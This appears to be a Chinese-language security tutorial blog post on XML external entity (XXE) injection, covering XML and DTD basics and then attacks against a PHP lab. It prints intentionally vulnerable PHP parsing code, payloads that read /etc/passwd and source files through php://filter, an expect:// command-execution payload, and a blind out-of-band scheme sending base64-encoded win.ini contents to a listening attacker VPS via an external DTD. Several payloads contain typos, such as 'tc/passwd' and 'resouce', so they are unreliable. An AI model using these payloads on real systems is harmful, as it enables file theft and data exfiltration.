天天看點

第十八天xxe 外部實體

簡單來說,XXE(XML External Entity Injection)就是XML外部實體注入。

當允許引用外部實體時,通過構造惡意内容,就可能導緻任意檔案讀取、系統指令執行、内網端口探測、攻擊内網網站等危害。

例如,如果你目前使用的程式為PHP,則可以将libxml_disable_entity_loader設定為TRUE來禁用外部實體,進而起到防禦的目的。

一、xml基礎

XML用于标記電子檔案使其具有結構性的标記語言,可以用來标記資料、定義資料類型,是一種允許使用者對自己的标記語言進行定義的源語言。

XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。

第十八天xxe 外部實體
第十八天xxe 外部實體
第十八天xxe 外部實體

DTD(文檔類型定義)

DTD(文檔類型定義)的作用是定義 XML 文檔的合法構模組化塊。DTD 可以在 XML 文檔内聲明,也可以外部引用。

内部聲明:

1

外部聲明(引用外部DTD):

1

DTD實體

DTD實體是用于定義引用普通文本或特殊字元的快捷方式的變量,可以内部聲明或外部引用。

内部實體聲明:<!ENTITY 實體名稱 "實體的值">

1

外部實體聲明:<!ENTITY 實體名稱 SYSTEM "URI">

1

二、漏洞原理

XML檔案的解析依賴libxml庫,而libxml2.9以前的版本預設支援并開啟了外部實體的引用,服務端解析使用者送出的xml檔案時未對xml檔案引用的外部實體做合适的處理,并且實體的URL支援file://和php://等協定,攻擊者可以在xml檔案中聲明URI指向伺服器本地的實體造成攻擊。

三、攻擊方式

xml外部實體注入,需要引入外部實體,方式有很多種。此處我們使用vuln漏洞環境中的php_xxe進行示範:

運作環境:

php 7.0.30

libxml 2.8.0

1、讀取任意檔案

(1)使用file協定

<?php
// 漏洞代碼
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
           

payload:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///tc/passwd">]>
<root>
<name>&xxe;</name>
</root>
           

運作SimpleXmlElement.php(在該php中,使用SimpleXmlElement類解析body)

使用burp攔截進行注入,響應如下:

第十八天xxe 外部實體

(2)使用php協定

payload:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=conver.base64-encode/resouce=index.php">]>
<root>
<name>&xxe;</name>
</root>
           

運作SimpleXmlElement.php,使用burp攔截進行注入,擷取index.php頁面内容的base64編碼。響應如下:

第十八天xxe 外部實體
第十八天xxe 外部實體
第十八天xxe 外部實體

2、執行系統指令

在特殊的配置環境下,如PHP環境中PHP的expect子產品被加載到了易受攻擊的系統或者能處理XML的應用中,就能執行指令。

payload:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "expect://whoami">]>
<root>
<name>&xxe;</name>
</root>
           

在此環境中沒有安裝expect擴充,我們就不示範這個了。

在xxe存在一個無回先漏洞時 此時該如何利用?

第十八天xxe 外部實體

構造一個請求包發送給伺服器

1.該請求包指令server去讀取特定

檔案的内容

2.讓伺服器将讀取的内容轉發給

監聽的vps(kali linux)

3伺服器做了2件事情:

第一件事情是讀取特定檔案的内容

第二件事情将讀取到的内容轉發到vps(kali

xxe無回顯利用概念

第十八天xxe 外部實體

第一步

vps監聽特定端口

第十八天xxe 外部實體

第二步

轉發問題

第十八天xxe 外部實體
第十八天xxe 外部實體
第十八天xxe 外部實體

将fle變量的值轉發到kali linux(vps)對應192.168.4.130下的

監聽的1234,該端口剛剛由nc-vp12335監聽

第十八天xxe 外部實體
第十八天xxe 外部實體
第十八天xxe 外部實體
第十八天xxe 外部實體
第十八天xxe 外部實體

xxe 無回顯如何利用重中之重

payoal:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
 <!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=C:/phpStudy/WWW/yui/bihuo.txt"> ]>
<creds>&goodies;</creds>

 <?xml version="1.0"?>
<!DOCTYPE ANY [
 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/Windows/win.ini">
<!ENTITY % dtd SYSTEM "http://www.localhost.com/haha/xxe.dtd">
%dtd;
%send;
]>
           

參考文章 原文連結:https://blog.csdn.net/m0_37711941/article/details/88388097